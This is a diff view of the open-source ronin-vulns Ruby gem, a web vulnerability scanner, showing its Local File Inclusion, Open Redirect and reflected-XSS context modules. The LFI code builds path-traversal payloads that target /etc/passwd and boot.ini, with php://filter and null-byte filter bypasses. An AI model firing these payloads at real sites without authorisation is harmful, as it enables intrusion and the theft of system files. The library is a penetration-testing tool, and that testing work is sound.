ronin-vulns 0.1.0.beta1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.document +5 -0
- data/.github/workflows/ruby.yml +31 -0
- data/.gitignore +13 -0
- data/.rspec +1 -0
- data/.ruby-version +1 -0
- data/.yardopts +1 -0
- data/COPYING.txt +165 -0
- data/ChangeLog.md +22 -0
- data/Gemfile +34 -0
- data/README.md +328 -0
- data/Rakefile +34 -0
- data/bin/ronin-vulns +19 -0
- data/data/rfi_test.asp +21 -0
- data/data/rfi_test.aspx +25 -0
- data/data/rfi_test.cfm +27 -0
- data/data/rfi_test.jsp +19 -0
- data/data/rfi_test.php +24 -0
- data/data/rfi_test.pl +25 -0
- data/gemspec.yml +41 -0
- data/lib/ronin/vulns/cli/command.rb +39 -0
- data/lib/ronin/vulns/cli/commands/lfi.rb +145 -0
- data/lib/ronin/vulns/cli/commands/open_redirect.rb +119 -0
- data/lib/ronin/vulns/cli/commands/reflected_xss.rb +99 -0
- data/lib/ronin/vulns/cli/commands/rfi.rb +156 -0
- data/lib/ronin/vulns/cli/commands/scan.rb +316 -0
- data/lib/ronin/vulns/cli/commands/sqli.rb +133 -0
- data/lib/ronin/vulns/cli/commands/ssti.rb +126 -0
- data/lib/ronin/vulns/cli/logging.rb +78 -0
- data/lib/ronin/vulns/cli/web_vuln_command.rb +347 -0
- data/lib/ronin/vulns/cli.rb +45 -0
- data/lib/ronin/vulns/lfi/test_file.rb +91 -0
- data/lib/ronin/vulns/lfi.rb +266 -0
- data/lib/ronin/vulns/open_redirect.rb +118 -0
- data/lib/ronin/vulns/reflected_xss/context.rb +224 -0
- data/lib/ronin/vulns/reflected_xss/test_string.rb +149 -0
- data/lib/ronin/vulns/reflected_xss.rb +184 -0
- data/lib/ronin/vulns/rfi.rb +224 -0
- data/lib/ronin/vulns/root.rb +28 -0
- data/lib/ronin/vulns/sqli/error_pattern.rb +89 -0
- data/lib/ronin/vulns/sqli.rb +397 -0
- data/lib/ronin/vulns/ssti/test_expression.rb +104 -0
- data/lib/ronin/vulns/ssti.rb +203 -0
- data/lib/ronin/vulns/url_scanner.rb +218 -0
- data/lib/ronin/vulns/version.rb +26 -0
- data/lib/ronin/vulns/vuln.rb +49 -0
- data/lib/ronin/vulns/web_vuln/http_request.rb +223 -0
- data/lib/ronin/vulns/web_vuln.rb +774 -0
- data/man/ronin-vulns-lfi.1 +107 -0
- data/man/ronin-vulns-lfi.1.md +80 -0
- data/man/ronin-vulns-open-redirect.1 +98 -0
- data/man/ronin-vulns-open-redirect.1.md +73 -0
- data/man/ronin-vulns-reflected-xss.1 +95 -0
- data/man/ronin-vulns-reflected-xss.1.md +71 -0
- data/man/ronin-vulns-rfi.1 +107 -0
- data/man/ronin-vulns-rfi.1.md +80 -0
- data/man/ronin-vulns-scan.1 +138 -0
- data/man/ronin-vulns-scan.1.md +103 -0
- data/man/ronin-vulns-sqli.1 +107 -0
- data/man/ronin-vulns-sqli.1.md +80 -0
- data/man/ronin-vulns-ssti.1 +99 -0
- data/man/ronin-vulns-ssti.1.md +74 -0
- data/ronin-vulns.gemspec +60 -0
- metadata +161 -0
@@ -0,0 +1,266 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-vulns - A Ruby library for blind vulnerability testing.
|
4
|
+
#
|
5
|
+
# Copyright (c) 2022 Hal Brodigan (postmodern.mod3 at gmail.com)
|
6
|
+
#
|
7
|
+
# ronin-vulns is free software: you can redistribute it and/or modify
|
8
|
+
# it under the terms of the GNU Lesser General Public License as published
|
9
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
10
|
+
# (at your option) any later version.
|
11
|
+
#
|
12
|
+
# ronin-vulns is distributed in the hope that it will be useful,
|
13
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
14
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
15
|
+
# GNU Lesser General Public License for more details.
|
16
|
+
#
|
17
|
+
# You should have received a copy of the GNU Lesser General Public License
|
18
|
+
# along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
|
19
|
+
#
|
20
|
+
|
21
|
+
require 'ronin/vulns/web_vuln'
|
22
|
+
require 'ronin/vulns/lfi/test_file'
|
23
|
+
|
24
|
+
require 'ronin/support/text/patterns'
|
25
|
+
require 'ronin/support/crypto'
|
26
|
+
require 'ronin/support/compression'
|
27
|
+
require 'uri/query_params'
|
28
|
+
require 'base64'
|
29
|
+
|
30
|
+
module Ronin
|
31
|
+
module Vulns
|
32
|
+
#
|
33
|
+
# Represents a Local File Inclusion (LFI) vulnerability.
|
34
|
+
#
|
35
|
+
# ## Features
|
36
|
+
#
|
37
|
+
# * Supports UNIX and Windows paths.
|
38
|
+
# * Supports `%00` null terminator trick (fixed in PHP 5.3).
|
39
|
+
# * Supports Base64, ROT13, and Zlib `php://filter/`s.
|
40
|
+
#
|
41
|
+
class LFI < WebVuln
|
42
|
+
|
43
|
+
include Ronin::Support
|
44
|
+
|
45
|
+
# The test file for UNIX systems.
|
46
|
+
UNIX_TEST_FILE = TestFile.new('/etc/passwd', %r{(?:[a-z][a-z0-9_-]*:x:\d+:\d+:[^:]*:(?:/[A-Za-z0-9_-]*)+:(?:/[A-Za-z0-9_-]*)+\n)+})
|
47
|
+
|
48
|
+
# The test file for Windows systems.
|
49
|
+
WINDOWS_TEST_FILE = TestFile.new('\\boot.ini', /\[boot loader\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n(?:\[operating system\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n)?/m)
|
50
|
+
|
51
|
+
# The default directory traversal depth.
|
52
|
+
DEFAULT_DEPTH = 6
|
53
|
+
|
54
|
+
# Targeted Operating System (OS)
|
55
|
+
#
|
56
|
+
# @return [:unix, :windows, nil]
|
57
|
+
attr_reader :os
|
58
|
+
|
59
|
+
# Optional filter bypass technique to use.
|
60
|
+
#
|
61
|
+
# @return [:null_byte, :base64, :rot13, :zlib, nil]
|
62
|
+
attr_reader :filter_bypass
|
63
|
+
|
64
|
+
# The number of directories to traverse up
|
65
|
+
#
|
66
|
+
# @return [Integer]
|
67
|
+
attr_reader :depth
|
68
|
+
|
69
|
+
# The directory separator character.
|
70
|
+
#
|
71
|
+
# @return [String]
|
72
|
+
attr_reader :separator
|
73
|
+
|
74
|
+
# The escape path to add to every LFI path
|
75
|
+
#
|
76
|
+
# @return [String]
|
77
|
+
attr_reader :escape_path
|
78
|
+
|
79
|
+
# The common file to test with.
|
80
|
+
#
|
81
|
+
# @return [TestFile]
|
82
|
+
attr_reader :test_file
|
83
|
+
|
84
|
+
#
|
85
|
+
# Creates a new LFI object.
|
86
|
+
#
|
87
|
+
# @param [String, URI::HTTP] url
|
88
|
+
# The URL to exploit.
|
89
|
+
#
|
90
|
+
# @param [:unix, :windows, nil] os
|
91
|
+
# Operating System to specifically target.
|
92
|
+
#
|
93
|
+
# @param [Integer] depth
|
94
|
+
# Number of directories to escape up.
|
95
|
+
#
|
96
|
+
# @param [:null_byte, :double_escape, :base64, :rot13, :zlib, nil] filter_bypass
|
97
|
+
# Specifies which filter bypass technique to use.
|
98
|
+
#
|
99
|
+
# * `:null_byte - appends a `%00` null byte to the escaped path.
|
100
|
+
# **Note:* this technique only works on PHP < 5.3.
|
101
|
+
# * `:double_escape` - Double escapes the {#escape_path}
|
102
|
+
# (ex: `....//....//`).
|
103
|
+
# * `:base64` - Base64 encodes the included local file.
|
104
|
+
# * `:rot13` - ROT13 encodes the included local file.
|
105
|
+
# * `:zlib` - Zlib compresses and Base64 encodes the included local
|
106
|
+
# file.
|
107
|
+
#
|
108
|
+
# @param [Hash{Symbol => Object}] kwargs
|
109
|
+
# Additional keyword arguments for {WebVuln#initialize}.
|
110
|
+
#
|
111
|
+
def initialize(url, os: :unix,
|
112
|
+
depth: DEFAULT_DEPTH,
|
113
|
+
filter_bypass: nil,
|
114
|
+
**kwargs)
|
115
|
+
super(url,**kwargs)
|
116
|
+
|
117
|
+
@os = os
|
118
|
+
|
119
|
+
case @os
|
120
|
+
when :unix
|
121
|
+
@separator = '/'
|
122
|
+
@test_file = UNIX_TEST_FILE
|
123
|
+
when :windows
|
124
|
+
@separator = '\\'
|
125
|
+
@test_file = WINDOWS_TEST_FILE
|
126
|
+
else
|
127
|
+
raise(ArgumentError,"unknown os keyword value (#{@os.inspect}) must be either :unix or :windows")
|
128
|
+
end
|
129
|
+
|
130
|
+
case filter_bypass
|
131
|
+
when :null_byte, :double_escape, :base64, :rot13, :zlib, nil
|
132
|
+
@filter_bypass = filter_bypass
|
133
|
+
else
|
134
|
+
raise(ArgumentError,"unknown filter_bypass keyword value (#{filter_bypass.inspect}) must be :null_byte, :double_escape, :base64, :rot13, :zlib, or nil")
|
135
|
+
end
|
136
|
+
|
137
|
+
@depth = depth
|
138
|
+
@escape_path = ("..#{@separator}" * @depth)
|
139
|
+
|
140
|
+
apply_filter_bypasses
|
141
|
+
end
|
142
|
+
|
143
|
+
private
|
144
|
+
|
145
|
+
#
|
146
|
+
# Pre-applies additional filter-bypass rules to {#escape_path}.
|
147
|
+
#
|
148
|
+
def apply_filter_bypasses
|
149
|
+
if @filter_bypass == :double_escape
|
150
|
+
# HACK: String#gsub interpretes "\\" as a special character in the
|
151
|
+
# replace string, so we must use String#gsub with a block.
|
152
|
+
@escape_path.gsub!("..#{@separator}") do
|
153
|
+
"....#{@separator}#{@separator}"
|
154
|
+
end
|
155
|
+
end
|
156
|
+
end
|
157
|
+
|
158
|
+
public
|
159
|
+
|
160
|
+
#
|
161
|
+
# Escapes the given path.
|
162
|
+
#
|
163
|
+
# @param [String] path
|
164
|
+
# The given path to escape.
|
165
|
+
#
|
166
|
+
# @return [String]
|
167
|
+
# The escaped path.
|
168
|
+
#
|
169
|
+
# @note
|
170
|
+
# Relative paths and absolute Windows paths to other drives will not
|
171
|
+
# be escaped.
|
172
|
+
#
|
173
|
+
def escape(path)
|
174
|
+
if @os == :windows && path.start_with?('C:\\')
|
175
|
+
# escape absolute Windows paths to the C: drive
|
176
|
+
"#{@escape_path}#{path[3..]}"
|
177
|
+
elsif @os == :windows && path =~ /\A[A-Z]:/
|
178
|
+
# pass through absolute Windows paths to other drives
|
179
|
+
path
|
180
|
+
elsif path.start_with?(@separator)
|
181
|
+
# escape absolute paths
|
182
|
+
"#{@escape_path}#{path[1..]}"
|
183
|
+
else
|
184
|
+
# pass through relative paths
|
185
|
+
path
|
186
|
+
end
|
187
|
+
end
|
188
|
+
|
189
|
+
#
|
190
|
+
# Builds a `../../..` escaped path for the given file path.
|
191
|
+
#
|
192
|
+
# @param [String] path
|
193
|
+
# The path to escape.
|
194
|
+
#
|
195
|
+
# @return [String]
|
196
|
+
# The `../../../` escaped path.
|
197
|
+
#
|
198
|
+
# @note
|
199
|
+
# * If the given path begins with `php:`, then no `../../../` prefix
|
200
|
+
# will be added.
|
201
|
+
# * If initialized with `filter_bypass: :null_byte`, then a `\0`
|
202
|
+
# character will be appended to the path.
|
203
|
+
#
|
204
|
+
def encode_payload(path)
|
205
|
+
case @filter_bypass
|
206
|
+
when :base64
|
207
|
+
"php://filter/convert.base64-encode/resource=#{path}"
|
208
|
+
when :rot13
|
209
|
+
"php://filter/read=string.rot13/resource=#{path}"
|
210
|
+
when :zlib
|
211
|
+
"php://filter/zlib.deflate/convert.base64-encode/resource=#{path}"
|
212
|
+
when :null_byte
|
213
|
+
"#{escape(path)}\0"
|
214
|
+
else
|
215
|
+
escape(path)
|
216
|
+
end
|
217
|
+
end
|
218
|
+
|
219
|
+
#
|
220
|
+
# Determines whether the URL is vulnerable to Local File Inclusion (LFI).
|
221
|
+
#
|
222
|
+
# @return [Boolean]
|
223
|
+
#
|
224
|
+
def vulnerable?
|
225
|
+
response = exploit(@test_file.path)
|
226
|
+
body = response.body
|
227
|
+
|
228
|
+
case @filter_bypass
|
229
|
+
when :base64
|
230
|
+
body.scan(Text::Patterns::BASE64).any? do |string|
|
231
|
+
Base64.decode64(string) =~ @test_file
|
232
|
+
end
|
233
|
+
when :rot13
|
234
|
+
Crypto.rot(body,-13) =~ @test_file
|
235
|
+
when :zlib
|
236
|
+
body.scan(Text::Patterns::BASE64).any? do |string|
|
237
|
+
begin
|
238
|
+
Compression.zlib_inflate(Base64.decode64(string)) =~ @test_file
|
239
|
+
rescue Zlib::DataError
|
240
|
+
end
|
241
|
+
end
|
242
|
+
else
|
243
|
+
body =~ @test_file
|
244
|
+
end
|
245
|
+
end
|
246
|
+
|
247
|
+
#
|
248
|
+
# Returns the type or kind of vulnerability.
|
249
|
+
#
|
250
|
+
# @return [Symbol]
|
251
|
+
#
|
252
|
+
# @note
|
253
|
+
# This is used internally to map an vulnerability class to a printable
|
254
|
+
# type.
|
255
|
+
#
|
256
|
+
# @api private
|
257
|
+
#
|
258
|
+
# @abstract
|
259
|
+
#
|
260
|
+
def self.vuln_type
|
261
|
+
:lfi
|
262
|
+
end
|
263
|
+
|
264
|
+
end
|
265
|
+
end
|
266
|
+
end
|
@@ -0,0 +1,118 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-vulns - A Ruby library for blind vulnerability testing.
|
4
|
+
#
|
5
|
+
# Copyright (c) 2022 Hal Brodigan (postmodern.mod3 at gmail.com)
|
6
|
+
#
|
7
|
+
# ronin-vulns is free software: you can redistribute it and/or modify
|
8
|
+
# it under the terms of the GNU Lesser General Public License as published
|
9
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
10
|
+
# (at your option) any later version.
|
11
|
+
#
|
12
|
+
# ronin-vulns is distributed in the hope that it will be useful,
|
13
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
14
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
15
|
+
# GNU Lesser General Public License for more details.
|
16
|
+
#
|
17
|
+
# You should have received a copy of the GNU Lesser General Public License
|
18
|
+
# along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
|
19
|
+
#
|
20
|
+
|
21
|
+
require 'ronin/vulns/web_vuln'
|
22
|
+
|
23
|
+
require 'chars'
|
24
|
+
require 'cgi'
|
25
|
+
|
26
|
+
module Ronin
|
27
|
+
module Vulns
|
28
|
+
#
|
29
|
+
# Represents an Open Redirect vulnerability.
|
30
|
+
#
|
31
|
+
# ## Features
|
32
|
+
#
|
33
|
+
# * Checks 301, 302, 303, 307, and 308 HTTP redirects.
|
34
|
+
# * Checks `meta` refresh redirects.
|
35
|
+
# * Includes random alpha-numeric data in the test values.
|
36
|
+
#
|
37
|
+
class OpenRedirect < WebVuln
|
38
|
+
|
39
|
+
# The desired redirect URL to use in the test.
|
40
|
+
#
|
41
|
+
# @return [String]
|
42
|
+
attr_reader :test_url
|
43
|
+
|
44
|
+
#
|
45
|
+
# Initializes the Open Redirect vulnerability.
|
46
|
+
#
|
47
|
+
# @param [String, URI::HTTP] url
|
48
|
+
# The URL to exploit.
|
49
|
+
#
|
50
|
+
# @param [String] test_url
|
51
|
+
# The desired redirect URL to test the URL with.
|
52
|
+
#
|
53
|
+
def initialize(url, test_url: self.class.random_test_url, **kwargs)
|
54
|
+
super(url,**kwargs)
|
55
|
+
|
56
|
+
@test_url = test_url
|
57
|
+
end
|
58
|
+
|
59
|
+
#
|
60
|
+
# Generates a random redirect URL to use in tests.
|
61
|
+
#
|
62
|
+
# @return [String]
|
63
|
+
# A random URL to https://ronin-rb.dev/vulns/open_redirect.html.
|
64
|
+
#
|
65
|
+
# @api private
|
66
|
+
#
|
67
|
+
def self.random_test_url
|
68
|
+
"https://ronin-rb.dev/vulns/open_redirect.html?id=#{Chars::ALPHA_NUMERIC.random_string(5)}"
|
69
|
+
end
|
70
|
+
|
71
|
+
#
|
72
|
+
# Tests whther the URL has a vulnerable Open Redirect.
|
73
|
+
#
|
74
|
+
# @return [Boolean]
|
75
|
+
#
|
76
|
+
def vulnerable?
|
77
|
+
response = exploit(@test_url)
|
78
|
+
|
79
|
+
case response.code
|
80
|
+
when '301', '302', '303', '307', '308'
|
81
|
+
if (locations = response.get_fields('Location'))
|
82
|
+
escaped_test_url = Regexp.escape(@test_url)
|
83
|
+
regexp = %r{\A#{escaped_test_url}(?:[\?&].+)?\z}
|
84
|
+
|
85
|
+
locations.last =~ regexp
|
86
|
+
end
|
87
|
+
else
|
88
|
+
content_type = response.content_type
|
89
|
+
|
90
|
+
if content_type && content_type.include?('text/html')
|
91
|
+
escaped_test_url = Regexp.escape(CGI.escapeHTML(@test_url))
|
92
|
+
regexp = %r{<meta\s+http-equiv\s*=\s*(?:"refresh"|'refresh'|refresh)\s+content\s*=\s*(?:"\s*\d+\s*;\s*url\s*=\s*'\s*#{escaped_test_url}\s*'\s*"|'\s*\d+\s*;\s*url\s*=\s*"\s*#{escaped_test_url}\s*"\s*'|\s*\d+;url=(?:"#{escaped_test_url}"|'#{escaped_test_url}'))\s*(?:/\s*)?>}i
|
93
|
+
|
94
|
+
response.body =~ regexp
|
95
|
+
end
|
96
|
+
end
|
97
|
+
end
|
98
|
+
|
99
|
+
#
|
100
|
+
# Returns the type or kind of vulnerability.
|
101
|
+
#
|
102
|
+
# @return [Symbol]
|
103
|
+
#
|
104
|
+
# @note
|
105
|
+
# This is used internally to map an vulnerability class to a printable
|
106
|
+
# type.
|
107
|
+
#
|
108
|
+
# @api private
|
109
|
+
#
|
110
|
+
# @abstract
|
111
|
+
#
|
112
|
+
def self.vuln_type
|
113
|
+
:open_redirect
|
114
|
+
end
|
115
|
+
|
116
|
+
end
|
117
|
+
end
|
118
|
+
end
|
@@ -0,0 +1,224 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
# frozen_string_literal: true
|
3
|
+
#
|
4
|
+
# ronin-vulns - A Ruby library for blind vulnerability testing.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2022 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-vulns is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-vulns is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/vulns/web_vuln'
|
23
|
+
|
24
|
+
module Ronin
|
25
|
+
module Vulns
|
26
|
+
class ReflectedXSS < WebVuln
|
27
|
+
#
|
28
|
+
# Represents information about the context which the XSS occurs within.
|
29
|
+
#
|
30
|
+
class Context
|
31
|
+
|
32
|
+
# Where in the HTML the XSS occurs.
|
33
|
+
#
|
34
|
+
# @return [:double_quoted_attr_value, :single_quoted_attr_value, :unquoted_attr_value, :attr_name, :attr_list, :tag_name, :tag_body]
|
35
|
+
# The context which the XSS occurs in.
|
36
|
+
# * `:tag_body` occurred within a tag's body (ex: `<tag>XSS...</tag>`)
|
37
|
+
# * `:double_quoted_attr_value` - occurred in a double quoted
|
38
|
+
# attribute value (ex: `<tag name="XSS">...</tag>`)
|
39
|
+
# * `:single_quoted_attr_value` - occurred in a single quoted
|
40
|
+
# attribute value (ex: `<tag name='XSS'>...</tag>`)
|
41
|
+
# * `:unquoted_attr_value` - occurred in an unquoted attribute value
|
42
|
+
# (ex: `<tag name=XSS>...</tag>`)
|
43
|
+
# * `:attr_name` - occurred in an attribute name
|
44
|
+
# (ex: `<tag nameXSS ...>`)
|
45
|
+
# * `:attr_list` - occurred in the attribute list
|
46
|
+
# (ex: `<tag XSS>...</tag>`)
|
47
|
+
# * `:tag_name` - occurred in the tag name (ex: `<tagXSS>...</tag>`)
|
48
|
+
#
|
49
|
+
# @api public
|
50
|
+
attr_reader :location
|
51
|
+
|
52
|
+
# The name of the parent tag which the XSS occurs in.
|
53
|
+
#
|
54
|
+
# @return [String]
|
55
|
+
#
|
56
|
+
# @api public
|
57
|
+
attr_reader :tag
|
58
|
+
|
59
|
+
# The attribute name that the XSS occurs in.
|
60
|
+
#
|
61
|
+
# @return [String, nil]
|
62
|
+
#
|
63
|
+
# @api public
|
64
|
+
attr_reader :attr
|
65
|
+
|
66
|
+
#
|
67
|
+
# Initializes the context.
|
68
|
+
#
|
69
|
+
# @param [:double_quoted_attr_value, :single_quoted_attr_value, :unquoted_attr_value, :attr_name, :attr_list, :tag_name, :tag_body] location
|
70
|
+
#
|
71
|
+
# @param [String] tag
|
72
|
+
#
|
73
|
+
# @param [String, nil] attr
|
74
|
+
#
|
75
|
+
# @api private
|
76
|
+
#
|
77
|
+
def initialize(location, tag: nil, attr: nil)
|
78
|
+
@location = location
|
79
|
+
|
80
|
+
@tag = tag
|
81
|
+
@attr = attr
|
82
|
+
end
|
83
|
+
|
84
|
+
# HTML identifier regexp
|
85
|
+
#
|
86
|
+
# @api private
|
87
|
+
IDENTIFIER = /[A-Za-z0-9_-]+/
|
88
|
+
|
89
|
+
# HTML attribute name regexp.
|
90
|
+
#
|
91
|
+
# @api private
|
92
|
+
ATTR_NAME = IDENTIFIER
|
93
|
+
|
94
|
+
# HTML attribute regexp.
|
95
|
+
#
|
96
|
+
# @api private
|
97
|
+
ATTR = /#{ATTR_NAME}(?:\s*=\s*"[^"]+"|\s*=\s*'[^']+'|=[^"'\s]+)?/
|
98
|
+
|
99
|
+
# HTML attribute list regexp.
|
100
|
+
#
|
101
|
+
# @api private
|
102
|
+
ATTR_LIST = /(?:\s+#{ATTR})*/
|
103
|
+
|
104
|
+
# HTML tag name regexp.
|
105
|
+
#
|
106
|
+
# @api private
|
107
|
+
TAG_NAME = IDENTIFIER
|
108
|
+
|
109
|
+
# Regexp matching when an XSS occurs within a tag's inner HTML.
|
110
|
+
#
|
111
|
+
# @api private
|
112
|
+
IN_TAG_BODY = %r{<(#{TAG_NAME})#{ATTR_LIST}\s*(?:>|/>)[^<>]*\z}
|
113
|
+
|
114
|
+
# Regexp matching when an XSS occurs within a double-quoted attribute
|
115
|
+
# value.
|
116
|
+
#
|
117
|
+
# @api private
|
118
|
+
IN_DOUBLE_QUOTED_ATTR_VALUE = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})\s*=\s*"[^"]+\z}
|
119
|
+
|
120
|
+
# Regexp matching when an XSS occurs within a single-quoted attribute
|
121
|
+
# value.
|
122
|
+
#
|
123
|
+
# @api private
|
124
|
+
IN_SINGLE_QUOTED_ATTR_VALUE = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})\s*=\s*'[^']+\z}
|
125
|
+
|
126
|
+
# Regexp matching when an XSS occurs within an unquoted attribute value.
|
127
|
+
#
|
128
|
+
# @api private
|
129
|
+
IN_UNQUOTED_ATTR_VALUE = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})=[^"'\s]+\z}
|
130
|
+
|
131
|
+
# Regexp matching when an XSS occurs within an attribute's name.
|
132
|
+
#
|
133
|
+
# @api private
|
134
|
+
IN_ATTR_NAME = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})\z}
|
135
|
+
|
136
|
+
# Regexp matching when an XSS occurs within a tag's attribute list.
|
137
|
+
#
|
138
|
+
# @api private
|
139
|
+
IN_ATTR_LIST = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+\z}
|
140
|
+
|
141
|
+
# Regexp matching when an XSS occurs within a tag's name.
|
142
|
+
#
|
143
|
+
# @api private
|
144
|
+
IN_TAG_NAME = %r{<(#{TAG_NAME})\z}
|
145
|
+
|
146
|
+
#
|
147
|
+
# Determine the context of the XSS by checking the characters that come
|
148
|
+
# before the given index.
|
149
|
+
#
|
150
|
+
# @param [String] body
|
151
|
+
# The HTML response body to inspect.
|
152
|
+
#
|
153
|
+
# @param [Integer] index
|
154
|
+
# The index which the XSS occurs at.
|
155
|
+
#
|
156
|
+
# @return [Context]
|
157
|
+
# The context which the XSS occurs in.
|
158
|
+
#
|
159
|
+
# @api private
|
160
|
+
#
|
161
|
+
def self.identify(body,index)
|
162
|
+
prefix = body[0,index]
|
163
|
+
|
164
|
+
if (match = prefix.match(IN_TAG_BODY))
|
165
|
+
new(:tag_body, tag: match[1])
|
166
|
+
elsif (match = prefix.match(IN_DOUBLE_QUOTED_ATTR_VALUE))
|
167
|
+
new(:double_quoted_attr_value, tag: match[1], attr: match[2])
|
168
|
+
elsif (match = prefix.match(IN_SINGLE_QUOTED_ATTR_VALUE))
|
169
|
+
new(:single_quoted_attr_value, tag: match[1], attr: match[2])
|
170
|
+
elsif (match = prefix.match(IN_UNQUOTED_ATTR_VALUE))
|
171
|
+
new(:unquoted_attr_value, tag: match[1], attr: match[2])
|
172
|
+
elsif (match = prefix.match(IN_ATTR_NAME))
|
173
|
+
new(:attr_name, tag: match[1], attr: match[2])
|
174
|
+
elsif (match = prefix.match(IN_ATTR_LIST))
|
175
|
+
new(:attr_list, tag: match[1])
|
176
|
+
elsif (match = prefix.match(IN_TAG_NAME))
|
177
|
+
new(:tag_name, tag: match[1])
|
178
|
+
end
|
179
|
+
end
|
180
|
+
|
181
|
+
# The minimum set of required characters needed for an XSS.
|
182
|
+
#
|
183
|
+
# @api private
|
184
|
+
MINIMAL_REQUIRED_CHARS = Set['>', ' ', '/', '<']
|
185
|
+
|
186
|
+
# The mapping of contexts and their required characters.
|
187
|
+
#
|
188
|
+
# @api private
|
189
|
+
REQUIRED_CHARS = {
|
190
|
+
double_quoted_attr_value: MINIMAL_REQUIRED_CHARS + ['"'],
|
191
|
+
single_quoted_attr_value: MINIMAL_REQUIRED_CHARS + ["'"],
|
192
|
+
unquoted_attr_value: MINIMAL_REQUIRED_CHARS,
|
193
|
+
|
194
|
+
attr_name: MINIMAL_REQUIRED_CHARS,
|
195
|
+
attr_list: MINIMAL_REQUIRED_CHARS,
|
196
|
+
tag_name: MINIMAL_REQUIRED_CHARS,
|
197
|
+
tag_body: MINIMAL_REQUIRED_CHARS
|
198
|
+
}
|
199
|
+
|
200
|
+
#
|
201
|
+
# Determines if the XSS is viable, given the context and the allowed
|
202
|
+
# characters.
|
203
|
+
#
|
204
|
+
# @param [Set<String>] allowed_chars
|
205
|
+
# The allowed characters.
|
206
|
+
#
|
207
|
+
# @return [Boolean]
|
208
|
+
# Specifies whether enough characters are allowed to perform an XSS in
|
209
|
+
# the given context.
|
210
|
+
#
|
211
|
+
# @api private
|
212
|
+
#
|
213
|
+
def viable?(allowed_chars)
|
214
|
+
required_chars = REQUIRED_CHARS.fetch(@location) do
|
215
|
+
raise(NotImplementedError,"cannot determine viability for unknown XSS location type: #{@location.inspect}")
|
216
|
+
end
|
217
|
+
|
218
|
+
allowed_chars.superset?(required_chars)
|
219
|
+
end
|
220
|
+
|
221
|
+
end
|
222
|
+
end
|
223
|
+
end
|
224
|
+
end
|